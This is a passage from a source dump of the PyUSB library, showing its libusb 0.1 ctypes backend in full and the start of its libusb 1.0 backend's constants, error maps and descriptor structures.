r\"\"\"Reset the device.\"\"\"\n        _not_implemented(self.reset_device)\n\n    def is_kernel_driver_active(self, dev_handle, intf):\n        r\"\"\"Determine if a kernel driver is active on an interface.\n\n        If a kernel driver is active, you cannot claim the interface,\n        and the backend will be unable to perform I/O.\n        \"\"\"\n        _not_implemented(self.is_kernel_driver_active)\n\n    def detach_kernel_driver(self, dev_handle, intf):\n        r\"\"\"Detach a kernel driver from an interface.\n\n        If successful, you will then be able to claim the interface\n        and perform I/O.\n        \"\"\"\n        _not_implemented(self.detach_kernel_driver)\n\n    def attach_kernel_driver(self, dev_handle, intf):\n        r\"\"\"Re-attach an interface's kernel driver, which was previously\n        detached using detach_kernel_driver().\"\"\"\n        _not_implemented(self.attach_kernel_driver)\n"
  },
  {
    "path": "usb/backend/libusb0.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nfrom ctypes import *\nimport os\nimport usb.backend\nimport usb.util\nimport sys\nfrom usb.core import USBError\nfrom usb._debug import methodtrace\nimport usb._interop as _interop\nimport logging\nimport usb.libloader\n\n__author__ = 'Wander Lairson Costa'\n\n__all__ = ['get_backend']\n\n_logger = logging.getLogger('usb.backend.libusb0')\n\n# usb.h\n\nif sys.platform.find('bsd') != -1 or sys.platform.find('mac') != -1 or \\\n        sys.platform.find('darwin') != -1 or sys.platform.find('sunos5') != -1:\n    _PATH_MAX = 1024\nelif sys.platform == 'win32' or sys.platform == 'cygwin':\n    _PATH_MAX = 511\nelse:\n    _PATH_MAX = os.pathconf('.', 'PC_PATH_MAX')\n\n# libusb-win32 makes all structures packed, while\n# default libusb only does for some structures\n# _PackPolicy defines the structure packing according\n# to the platform.\nclass _PackPolicy(object):\n    pass\n\nif sys.platform == 'win32' or sys.platform == 'cygwin':\n    _PackPolicy._pack_ = 1\n\n# Data structures\n\nclass _usb_descriptor_header(Structure):\n    _pack_ = 1\n    _fields_ = [('blength', c_uint8),\n                ('bDescriptorType', c_uint8)]\n\nclass _usb_string_descriptor(Structure):\n    _pack_ = 1\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('wData', c_uint16)]\n\nclass _usb_endpoint_descriptor(Structure, _PackPolicy):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bEndpointAddress', c_uint8),\n                ('bmAttributes', c_uint8),\n                ('wMaxPacketSize', c_uint16),\n                ('bInterval', c_uint8),\n                ('bRefresh', c_uint8),\n                ('bSynchAddress', c_uint8),\n                ('extra', POINTER(c_uint8)),\n                ('extralen', c_int)]\n\nclass _usb_interface_descriptor(Structure, _PackPolicy):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bInterfaceNumber', c_uint8),\n                ('bAlternateSetting', c_uint8),\n                ('bNumEndpoints', c_uint8),\n                ('bInterfaceClass', c_uint8),\n                ('bInterfaceSubClass', c_uint8),\n                ('bInterfaceProtocol', c_uint8),\n                ('iInterface', c_uint8),\n                ('endpoint', POINTER(_usb_endpoint_descriptor)),\n                ('extra', POINTER(c_uint8)),\n                ('extralen', c_int)]\n\nclass _usb_interface(Structure, _PackPolicy):\n    _fields_ = [('altsetting', POINTER(_usb_interface_descriptor)),\n                ('num_altsetting', c_int)]\n\nclass _usb_config_descriptor(Structure, _PackPolicy):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('wTotalLength', c_uint16),\n                ('bNumInterfaces', c_uint8),\n                ('bConfigurationValue', c_uint8),\n                ('iConfiguration', c_uint8),\n                ('bmAttributes', c_uint8),\n                ('bMaxPower', c_uint8),\n                ('interface', POINTER(_usb_interface)),\n                ('extra', POINTER(c_uint8)),\n                ('extralen', c_int)]\n\nclass _usb_device_descriptor(Structure, _PackPolicy):\n    _pack_ = 1\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bcdUSB', c_uint16),\n                ('bDeviceClass', c_uint8),\n                ('bDeviceSubClass', c_uint8),\n                ('bDeviceProtocol', c_uint8),\n                ('bMaxPacketSize0', c_uint8),\n                ('idVendor', c_uint16),\n                ('idProduct', c_uint16),\n                ('bcdDevice', c_uint16),\n                ('iManufacturer', c_uint8),\n                ('iProduct', c_uint8),\n                ('iSerialNumber', c_uint8),\n                ('bNumConfigurations', c_uint8)]\n\nclass _usb_device(Structure, _PackPolicy):\n    pass\n\nclass _usb_bus(Structure, _PackPolicy):\n    pass\n\n_usb_device._fields_ = [('next', POINTER(_usb_device)),\n                        ('prev', POINTER(_usb_device)),\n                        ('filename', c_int8 * (_PATH_MAX + 1)),\n                        ('bus', POINTER(_usb_bus)),\n                        ('descriptor', _usb_device_descriptor),\n                        ('config', POINTER(_usb_config_descriptor)),\n                        ('dev', c_void_p),\n                        ('devnum', c_uint8),\n                        ('num_children', c_ubyte),\n                        ('children', POINTER(POINTER(_usb_device)))]\n\n_usb_bus._fields_ = [('next', POINTER(_usb_bus)),\n                     ('prev', POINTER(_usb_bus)),\n                     ('dirname', c_char * (_PATH_MAX + 1)),\n                     ('devices', POINTER(_usb_device)),\n                     ('location', c_uint32),\n                     ('root_dev', POINTER(_usb_device))]\n\n_usb_dev_handle = c_void_p\n\nclass _DeviceDescriptor:\n    def __init__(self, dev):\n        desc = dev.descriptor\n        self.bLength = desc.bLength\n        self.bDescriptorType = desc.bDescriptorType\n        self.bcdUSB = desc.bcdUSB\n        self.bDeviceClass = desc.bDeviceClass\n        self.bDeviceSubClass = desc.bDeviceSubClass\n        self.bDeviceProtocol = desc.bDeviceProtocol\n        self.bMaxPacketSize0 = desc.bMaxPacketSize0\n        self.idVendor = desc.idVendor\n        self.idProduct = desc.idProduct\n        self.bcdDevice = desc.bcdDevice\n        self.iManufacturer = desc.iManufacturer\n        self.iProduct = desc.iProduct\n        self.iSerialNumber = desc.iSerialNumber\n        self.bNumConfigurations = desc.bNumConfigurations\n        self.address = dev.devnum\n        self.bus = dev.bus[0].location\n\n        self.port_number = None\n        self.port_numbers = None\n        self.speed = None\n\n_lib = None\n\ndef _load_library(find_library=None):\n    return usb.libloader.load_locate_library(\n                ('usb-0.1', 'usb', 'libusb0'),\n                'cygusb0.dll', 'Libusb 0',\n                find_library=find_library\n    )\n\ndef _setup_prototypes(lib):\n    # usb_dev_handle *usb_open(struct usb_device *dev);\n    lib.usb_open.argtypes = [POINTER(_usb_device)]\n    lib.usb_open.restype = _usb_dev_handle\n\n    # int usb_close(usb_dev_handle *dev);\n    lib.usb_close.argtypes = [_usb_dev_handle]\n\n    # int usb_get_string(usb_dev_handle *dev,\n    #                    int index,\n    #                    int langid,\n    #                    char *buf,\n    #                    size_t buflen);\n    lib.usb_get_string.argtypes = [\n            _usb_dev_handle,\n            c_int,\n            c_int,\n            c_char_p,\n            c_size_t\n        ]\n\n    # int usb_get_string_simple(usb_dev_handle *dev,\n    #                           int index,\n    #                           char *buf,\n    #                           size_t buflen);\n    lib.usb_get_string_simple.argtypes = [\n            _usb_dev_handle,\n            c_int,\n            c_char_p,\n            c_size_t\n        ]\n\n    # int usb_get_descriptor_by_endpoint(usb_dev_handle *udev,\n    #                                    int ep,\n    #                                    unsigned char type,\n    #                                    unsigned char index,\n    #                                    void *buf,\n    #                                    int size);\n    lib.usb_get_descriptor_by_endpoint.argtypes = [\n                                _usb_dev_handle,\n                                c_int,\n                                c_ubyte,\n                                c_ubyte,\n                                c_void_p,\n                                c_int\n                            ]\n\n    # int usb_get_descriptor(usb_dev_handle *udev,\n    #                        unsigned char type,\n    #                        unsigned char index,\n    #                        void *buf,\n    #                        int size);\n    lib.usb_get_descriptor.argtypes = [\n                    _usb_dev_handle,\n                    c_ubyte,\n                    c_ubyte,\n                    c_void_p,\n                    c_int\n                ]\n\n    # int usb_bulk_write(usb_dev_handle *dev,\n    #                    int ep,\n    #                    const char *bytes,\n    #                    int size,\n    #                    int timeout);\n    lib.usb_bulk_write.argtypes = [\n            _usb_dev_handle,\n            c_int,\n            c_char_p,\n            c_int,\n            c_int\n        ]\n\n    # int usb_bulk_read(usb_dev_handle *dev,\n    #                   int ep,\n    #                   char *bytes,\n    #                   int size,\n    #                   int timeout);\n    lib.usb_bulk_read.argtypes = [\n            _usb_dev_handle,\n            c_int,\n            c_char_p,\n            c_int,\n            c_int\n        ]\n\n    # int usb_interrupt_write(usb_dev_handle *dev,\n    #                         int ep,\n    #                         const char *bytes,\n    #                         int size,\n    #                         int timeout);\n    lib.usb_interrupt_write.argtypes = [\n            _usb_dev_handle,\n            c_int,\n            c_char_p,\n            c_int,\n            c_int\n        ]\n\n    # int usb_interrupt_read(usb_dev_handle *dev,\n    #                        int ep,\n    #                        char *bytes,\n    #                        int size,\n    #                        int timeout);\n    lib.usb_interrupt_read.argtypes = [\n            _usb_dev_handle,\n            c_int,\n            c_char_p,\n            c_int,\n            c_int\n        ]\n\n    # int usb_control_msg(usb_dev_handle *dev,\n    #                     int requesttype,\n    #                     int request,\n    #                     int value,\n    #                     int index,\n    #                     char *bytes,\n    #                     int size,\n    #                     int timeout);\n    lib.usb_control_msg.argtypes = [\n            _usb_dev_handle,\n            c_int,\n            c_int,\n            c_int,\n            c_int,\n            c_char_p,\n            c_int,\n            c_int\n        ]\n\n    # int usb_set_configuration(usb_dev_handle *dev, int configuration);\n    lib.usb_set_configuration.argtypes = [_usb_dev_handle, c_int]\n\n    # int usb_claim_interface(usb_dev_handle *dev, int interface);\n    lib.usb_claim_interface.argtypes = [_usb_dev_handle, c_int]\n\n    # int usb_release_interface(usb_dev_handle *dev, int interface);\n    lib.usb_release_interface.argtypes = [_usb_dev_handle, c_int]\n\n    # int usb_set_altinterface(usb_dev_handle *dev, int alternate);\n    lib.usb_set_altinterface.argtypes = [_usb_dev_handle, c_int]\n\n    # int usb_resetep(usb_dev_handle *dev, unsigned int ep);\n    lib.usb_resetep.argtypes = [_usb_dev_handle, c_int]\n\n    # int usb_clear_halt(usb_dev_handle *dev, unsigned int ep);\n    lib.usb_clear_halt.argtypes = [_usb_dev_handle, c_int]\n\n    # int usb_reset(usb_dev_handle *dev);\n    lib.usb_reset.argtypes = [_usb_dev_handle]\n\n    # char *usb_strerror(void);\n    lib.usb_strerror.argtypes = []\n    lib.usb_strerror.restype = c_char_p\n\n    # void usb_set_debug(int level);\n    lib.usb_set_debug.argtypes = [c_int]\n\n    # struct usb_device *usb_device(usb_dev_handle *dev);\n    lib.usb_device.argtypes = [_usb_dev_handle]\n    lib.usb_device.restype = POINTER(_usb_device)\n\n    # struct usb_bus *usb_get_busses(void);\n    lib.usb_get_busses.restype = POINTER(_usb_bus)\n\n    # linux only\n\n    # int usb_detach_kernel_driver_np(usb_dev_handle *dev, int interface);\n    if hasattr(lib, 'usb_detach_kernel_driver_np'):\n        lib.usb_detach_kernel_driver_np.argtypes = [_usb_dev_handle, c_int]\n\n    # libusb-win32 only\n\n    # int usb_isochronous_setup_async(usb_dev_handle *dev,\n    #                                 void **context,\n    #                                 unsigned char ep,\n    #                                 int pktsize)\n    if hasattr(lib, 'usb_isochronous_setup_async'):\n        lib.usb_isochronous_setup_async.argtypes = \\\n            [_usb_dev_handle, POINTER(c_void_p), c_uint8, c_int]\n\n    # int usb_bulk_setup_async(usb_dev_handle *dev,\n    #                          void **context,\n    #                          unsigned char ep)\n    if hasattr(lib, 'usb_bulk_setup_async'):\n        lib.usb_bulk_setup_async.argtypes = \\\n            [_usb_dev_handle, POINTER(c_void_p), c_uint8]\n\n    # int usb_interrupt_setup_async(usb_dev_handle *dev,\n    #                               void **context,\n    #                               unsigned char ep)\n    if hasattr(lib, 'usb_interrupt_setup_async'):\n        lib.usb_interrupt_setup_async.argtypes = \\\n            [_usb_dev_handle, POINTER(c_void_p), c_uint8]\n\n    # int usb_submit_async(void *context, char *bytes, int size)\n    if hasattr(lib, 'usb_submit_async'):\n        lib.usb_submit_async.argtypes = [c_void_p, c_char_p, c_int]\n\n    # int usb_reap_async(void *context, int timeout)\n    if hasattr(lib, 'usb_reap_async'):\n        lib.usb_reap_async.argtypes = [c_void_p, c_int]\n\n    # int usb_reap_async_nocancel(void *context, int timeout)\n    if hasattr(lib, 'usb_reap_async_nocancel'):\n        lib.usb_reap_async_nocancel.argtypes = [c_void_p, c_int]\n\n    # int usb_cancel_async(void *context)\n    if hasattr(lib, 'usb_cancel_async'):\n        lib.usb_cancel_async.argtypes = [c_void_p]\n\n    # int usb_free_async(void **context)\n    if hasattr(lib, 'usb_free_async'):\n        lib.usb_free_async.argtypes = [POINTER(c_void_p)]\n\ndef _check(ret):\n    if ret is None:\n        errmsg = _lib.usb_strerror()\n    else:\n        if hasattr(ret, 'value'):\n            ret = ret.value\n\n        if ret < 0:\n            errmsg = _lib.usb_strerror()\n            # No error means that we need to get the error\n            # message from the return code\n            # Thanks to Nicholas Wheeler to point out the problem...\n            # Also see issue #2860940\n            if errmsg.lower() == 'no error':\n                errmsg = os.strerror(-ret)\n        else:\n            return ret\n    raise USBError(errmsg, ret)\n\ndef _has_iso_transfer():\n    return hasattr(_lib, 'usb_isochronous_setup_async')\n\n# implementation of libusb 0.1.x backend\nclass _LibUSB(usb.backend.IBackend):\n    @methodtrace(_logger)\n    def enumerate_devices(self):\n        _check(_lib.usb_find_busses())\n        _check(_lib.usb_find_devices())\n        bus = _lib.usb_get_busses()\n        while bool(bus):\n            dev = bus[0].devices\n            while bool(dev):\n                yield dev[0]\n                dev = dev[0].next\n            bus = bus[0].next\n\n    @methodtrace(_logger)\n    def get_device_descriptor(self, dev):\n        return _DeviceDescriptor(dev)\n\n    @methodtrace(_logger)\n    def get_configuration_descriptor(self, dev, config):\n        if config >= dev.descriptor.bNumConfigurations:\n            raise IndexError('Invalid configuration index ' + str(config))\n        config_desc = dev.config[config]\n        config_desc.extra_descriptors = config_desc.extra[:config_desc.extralen]\n        return config_desc\n\n    @methodtrace(_logger)\n    def get_interface_descriptor(self, dev, intf, alt, config):\n        cfgdesc = self.get_configuration_descriptor(dev, config)\n        if intf >= cfgdesc.bNumInterfaces:\n            raise IndexError('Invalid interface index ' + str(intf))\n        interface = cfgdesc.interface[intf]\n        if alt >= interface.num_altsetting:\n            raise IndexError('Invalid alternate setting index ' + str(alt))\n        intf_desc = interface.altsetting[alt]\n        intf_desc.extra_descriptors = intf_desc.extra[:intf_desc.extralen]\n        return intf_desc\n\n    @methodtrace(_logger)\n    def get_endpoint_descriptor(self, dev, ep, intf, alt, config):\n        interface = self.get_interface_descriptor(dev, intf, alt, config)\n        if ep >= interface.bNumEndpoints:\n            raise IndexError('Invalid endpoint index ' + str(ep))\n        ep_desc = interface.endpoint[ep]\n        ep_desc.extra_descriptors = ep_desc.extra[:ep_desc.extralen]\n        return ep_desc\n\n    @methodtrace(_logger)\n    def open_device(self, dev):\n        return _check(_lib.usb_open(dev))\n\n    @methodtrace(_logger)\n    def close_device(self, dev_handle):\n        _check(_lib.usb_close(dev_handle))\n\n    @methodtrace(_logger)\n    def set_configuration(self, dev_handle, config_value):\n        _check(_lib.usb_set_configuration(dev_handle, config_value))\n\n    @methodtrace(_logger)\n    def get_configuration(self, dev_handle):\n        bmRequestType = usb.util.build_request_type(\n                                usb.util.CTRL_IN,\n                                usb.util.CTRL_TYPE_STANDARD,\n                                usb.util.CTRL_RECIPIENT_DEVICE\n                            )\n        buff = usb.util.create_buffer(1)\n        ret = self.ctrl_transfer(\n                dev_handle,\n                bmRequestType,\n                0x08,\n                0,\n                0,\n                buff,\n                100)\n\n        assert ret == 1\n        return buff[0]\n\n    @methodtrace(_logger)\n    def set_interface_altsetting(self, dev_handle, intf, altsetting):\n        _check(_lib.usb_set_altinterface(dev_handle, altsetting))\n\n    @methodtrace(_logger)\n    def claim_interface(self, dev_handle, intf):\n        _check(_lib.usb_claim_interface(dev_handle, intf))\n\n    @methodtrace(_logger)\n    def release_interface(self, dev_handle, intf):\n        _check(_lib.usb_release_interface(dev_handle, intf))\n\n    @methodtrace(_logger)\n    def bulk_write(self, dev_handle, ep, intf, data, timeout):\n        return self.__write(_lib.usb_bulk_write,\n                            dev_handle,\n                            ep,\n                            intf,\n                            data, timeout)\n\n    @methodtrace(_logger)\n    def bulk_read(self, dev_handle, ep, intf, buff, timeout):\n        return self.__read(_lib.usb_bulk_read,\n                           dev_handle,\n                           ep,\n                           intf,\n                           buff,\n                           timeout)\n\n    @methodtrace(_logger)\n    def intr_write(self, dev_handle, ep, intf, data, timeout):\n        return self.__write(_lib.usb_interrupt_write,\n                            dev_handle,\n                            ep,\n                            intf,\n                            data,\n                            timeout)\n\n    @methodtrace(_logger)\n    def intr_read(self, dev_handle, ep, intf, buff, timeout):\n        return self.__read(_lib.usb_interrupt_read,\n                           dev_handle,\n                           ep,\n                           intf,\n                           buff,\n                           timeout)\n\n    @methodtrace(_logger)\n    def iso_write(self, dev_handle, ep, intf, data, timeout):\n        if not _has_iso_transfer():\n            return usb.backend.IBackend.iso_write(self, dev_handle, ep, intf, data, timeout)\n        return self.__iso_transfer(dev_handle, ep, intf, data, timeout)\n\n    @methodtrace(_logger)\n    def iso_read(self, dev_handle, ep, intf, buff, timeout):\n        if not _has_iso_transfer():\n            return usb.backend.IBackend.iso_read(self, dev_handle, ep, intf, buff, timeout)\n        return self.__iso_transfer(dev_handle, ep, intf, buff, timeout)\n\n    @methodtrace(_logger)\n    def ctrl_transfer(self,\n                      dev_handle,\n                      bmRequestType,\n                      bRequest,\n                      wValue,\n                      wIndex,\n                      data,\n                      timeout):\n        address, length = data.buffer_info()\n        length *= data.itemsize\n        return _check(_lib.usb_control_msg(\n                            dev_handle,\n                            bmRequestType,\n                            bRequest,\n                            wValue,\n                            wIndex,\n                            cast(address, c_char_p),\n                            length,\n                            timeout\n                        ))\n\n    @methodtrace(_logger)\n    def clear_halt(self, dev_handle, ep):\n        _check(_lib.usb_clear_halt(dev_handle, ep))\n\n    @methodtrace(_logger)\n    def reset_device(self, dev_handle):\n        _check(_lib.usb_reset(dev_handle))\n\n    @methodtrace(_logger)\n    def detach_kernel_driver(self, dev_handle, intf):\n        _check(_lib.usb_detach_kernel_driver_np(dev_handle, intf))\n\n    def __write(self, fn, dev_handle, ep, intf, data, timeout):\n        address, length = data.buffer_info()\n        length *= data.itemsize\n        return int(_check(fn(\n                        dev_handle,\n                        ep,\n                        cast(address, c_char_p),\n                        length,\n                        timeout\n                    )))\n\n    def __read(self, fn, dev_handle, ep, intf, buff, timeout):\n        address, length = buff.buffer_info()\n        length *= buff.itemsize\n        ret = int(_check(fn(\n                    dev_handle,\n                    ep,\n                    cast(address, c_char_p),\n                    length,\n                    timeout\n                )))\n        return ret\n\n    def __iso_transfer(self, dev_handle, ep, intf, data, timeout):\n        context = c_void_p()\n        buff, length = data.buffer_info()\n        length *= data.itemsize\n\n        _check(_lib.usb_isochronous_setup_async(\n            dev_handle,\n            byref(context),\n            ep,\n            0))\n\n        transmitted = 0\n\n        try:\n            while transmitted < length:\n                _check(_lib.usb_submit_async(\n                    context,\n                    cast(buff + transmitted, c_char_p),\n                    length - transmitted))\n\n                ret = _check(_lib.usb_reap_async(context, timeout))\n                if not ret:\n                    return transmitted\n\n                transmitted += ret\n        except:\n            if not transmitted:\n                raise\n        finally:\n            _check(_lib.usb_free_async(byref(context)))\n\n        return transmitted\n\ndef get_backend(find_library=None):\n    global _lib\n    try:\n        if _lib is None:\n            _lib = _load_library(find_library)\n            _setup_prototypes(_lib)\n            _lib.usb_init()\n        return _LibUSB()\n    except usb.libloader.LibraryException:\n        # exception already logged (if any)\n        _logger.error('Error loading libusb 0.1 backend', exc_info=False)\n        return None\n    except Exception:\n        _logger.error('Error loading libusb 0.1 backend', exc_info=True)\n        return None\n"
  },
  {
    "path": "usb/backend/libusb1.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nfrom ctypes import *\nimport usb.util\nimport sys\nimport logging\nfrom usb._debug import methodtrace\nimport usb._interop as _interop\nimport usb._objfinalizer as _objfinalizer\nimport errno\nimport math\nfrom usb.core import USBError\nimport usb.libloader\n\n__author__ = 'Wander Lairson Costa'\n\n__all__ = [\n            'get_backend',\n            'LIBUSB_SUCESS',\n            'LIBUSB_ERROR_IO',\n            'LIBUSB_ERROR_INVALID_PARAM',\n            'LIBUSB_ERROR_ACCESS',\n            'LIBUSB_ERROR_NO_DEVICE',\n            'LIBUSB_ERROR_NOT_FOUND',\n            'LIBUSB_ERROR_BUSY',\n            'LIBUSB_ERROR_TIMEOUT',\n            'LIBUSB_ERROR_OVERFLOW',\n            'LIBUSB_ERROR_PIPE',\n            'LIBUSB_ERROR_INTERRUPTED',\n            'LIBUSB_ERROR_NO_MEM',\n            'LIBUSB_ERROR_NOT_SUPPORTED',\n            'LIBUSB_ERROR_OTHER'\n            'LIBUSB_TRANSFER_COMPLETED',\n            'LIBUSB_TRANSFER_ERROR',\n            'LIBUSB_TRANSFER_TIMED_OUT',\n            'LIBUSB_TRANSFER_CANCELLED',\n            'LIBUSB_TRANSFER_STALL',\n            'LIBUSB_TRANSFER_NO_DEVICE',\n            'LIBUSB_TRANSFER_OVERFLOW'\n        ]\n\n_logger = logging.getLogger('usb.backend.libusb1')\n\n# libusb.h\n\n# transfer_type codes\n# Control endpoint\n_LIBUSB_TRANSFER_TYPE_CONTROL = 0,\n# Isochronous endpoint\n_LIBUSB_TRANSFER_TYPE_ISOCHRONOUS = 1\n# Bulk endpoint\n_LIBUSB_TRANSFER_TYPE_BULK = 2\n# Interrupt endpoint\n_LIBUSB_TRANSFER_TYPE_INTERRUPT = 3\n\n# return codes\n\nLIBUSB_SUCCESS = 0\nLIBUSB_ERROR_IO = -1\nLIBUSB_ERROR_INVALID_PARAM = -2\nLIBUSB_ERROR_ACCESS = -3\nLIBUSB_ERROR_NO_DEVICE = -4\nLIBUSB_ERROR_NOT_FOUND = -5\nLIBUSB_ERROR_BUSY = -6\nLIBUSB_ERROR_TIMEOUT = -7\nLIBUSB_ERROR_OVERFLOW = -8\nLIBUSB_ERROR_PIPE = -9\nLIBUSB_ERROR_INTERRUPTED = -10\nLIBUSB_ERROR_NO_MEM = -11\nLIBUSB_ERROR_NOT_SUPPORTED = -12\nLIBUSB_ERROR_OTHER = -99\n\n# map return codes to strings\n_str_error_map = {\n    LIBUSB_SUCCESS:'Success (no error)',\n    LIBUSB_ERROR_IO:'Input/output error',\n    LIBUSB_ERROR_INVALID_PARAM:'Invalid parameter',\n    LIBUSB_ERROR_ACCESS:'Access denied (insufficient permissions)',\n    LIBUSB_ERROR_NO_DEVICE:'No such device (it may have been disconnected)',\n    LIBUSB_ERROR_NOT_FOUND:'Entity not found',\n    LIBUSB_ERROR_BUSY:'Resource busy',\n    LIBUSB_ERROR_TIMEOUT:'Operation timed out',\n    LIBUSB_ERROR_OVERFLOW:'Overflow',\n    LIBUSB_ERROR_PIPE:'Pipe error',\n    LIBUSB_ERROR_INTERRUPTED:'System call interrupted (perhaps due to signal)',\n    LIBUSB_ERROR_NO_MEM:'Insufficient memory',\n    LIBUSB_ERROR_NOT_SUPPORTED:'Operation not supported or unimplemented on this platform',\n    LIBUSB_ERROR_OTHER:'Unknown error'\n}\n\n# map return code to errno values\n_libusb_errno = {\n    0:None,\n    LIBUSB_ERROR_IO:errno.__dict__.get('EIO', None),\n    LIBUSB_ERROR_INVALID_PARAM:errno.__dict__.get('EINVAL', None),\n    LIBUSB_ERROR_ACCESS:errno.__dict__.get('EACCES', None),\n    LIBUSB_ERROR_NO_DEVICE:errno.__dict__.get('ENODEV', None),\n    LIBUSB_ERROR_NOT_FOUND:errno.__dict__.get('ENOENT', None),\n    LIBUSB_ERROR_BUSY:errno.__dict__.get('EBUSY', None),\n    LIBUSB_ERROR_TIMEOUT:errno.__dict__.get('ETIMEDOUT', None),\n    LIBUSB_ERROR_OVERFLOW:errno.__dict__.get('EOVERFLOW', None),\n    LIBUSB_ERROR_PIPE:errno.__dict__.get('EPIPE', None),\n    LIBUSB_ERROR_INTERRUPTED:errno.__dict__.get('EINTR', None),\n    LIBUSB_ERROR_NO_MEM:errno.__dict__.get('ENOMEM', None),\n    LIBUSB_ERROR_NOT_SUPPORTED:errno.__dict__.get('ENOSYS', None),\n    LIBUSB_ERROR_OTHER:None\n}\n\n# Transfer status codes:\n# Note that this does not indicate\n# that the entire amount of requested data was transferred.\nLIBUSB_TRANSFER_COMPLETED = 0\nLIBUSB_TRANSFER_ERROR = 1\nLIBUSB_TRANSFER_TIMED_OUT = 2\nLIBUSB_TRANSFER_CANCELLED = 3\nLIBUSB_TRANSFER_STALL = 4\nLIBUSB_TRANSFER_NO_DEVICE = 5\nLIBUSB_TRANSFER_OVERFLOW = 6\n\n# map return codes to strings\n_str_transfer_error = {\n    LIBUSB_TRANSFER_COMPLETED:'Success (no error)',\n    LIBUSB_TRANSFER_ERROR:'Transfer failed',\n    LIBUSB_TRANSFER_TIMED_OUT:'Transfer timed out',\n    LIBUSB_TRANSFER_CANCELLED:'Transfer was cancelled',\n    LIBUSB_TRANSFER_STALL:'For bulk/interrupt endpoints: halt condition '\\\n                          'detected (endpoint stalled). For control '\\\n                          'endpoints: control request not supported.',\n    LIBUSB_TRANSFER_NO_DEVICE:'Device was disconnected',\n    LIBUSB_TRANSFER_OVERFLOW:'Device sent more data than requested'\n}\n\n# map transfer codes to errno codes\n_transfer_errno = {\n    LIBUSB_TRANSFER_COMPLETED:0,\n    LIBUSB_TRANSFER_ERROR:errno.__dict__.get('EIO', None),\n    LIBUSB_TRANSFER_TIMED_OUT:errno.__dict__.get('ETIMEDOUT', None),\n    LIBUSB_TRANSFER_CANCELLED:errno.__dict__.get('EAGAIN', None),\n    LIBUSB_TRANSFER_STALL:errno.__dict__.get('EIO', None),\n    LIBUSB_TRANSFER_NO_DEVICE:errno.__dict__.get('ENODEV', None),\n    LIBUSB_TRANSFER_OVERFLOW:errno.__dict__.get('EOVERFLOW', None)\n}\n\ndef _strerror(errcode):\n    try:\n        return _lib.libusb_strerror(errcode).decode('utf8')\n    except AttributeError:\n        return _str_error_map[errcode]\n\n# Data structures\n\nclass _libusb_endpoint_descriptor(Structure):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bEndpointAddress', c_uint8),\n                ('bmAttributes', c_uint8),\n                ('wMaxPacketSize', c_uint16),\n                ('bInterval', c_uint8),\n                ('bRefresh', c_uint8),\n                ('bSynchAddress', c_uint8),\n                ('extra', POINTER(c_ubyte)),\n                ('extra_length', c_int)]\n\nclass _libusb_interface_descriptor(Structure):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bInterfaceNumber', c_uint8),\n                ('bAlternateSetting', c_uint8),\n                ('bNumEndpoints', c_uint8),\n                ('bInterfaceClass', c_uint8),\n                ('bInterfaceSubClass', c_uint8),\n                ('bInterfaceProtocol', c_uint8),\n                ('iInterface', 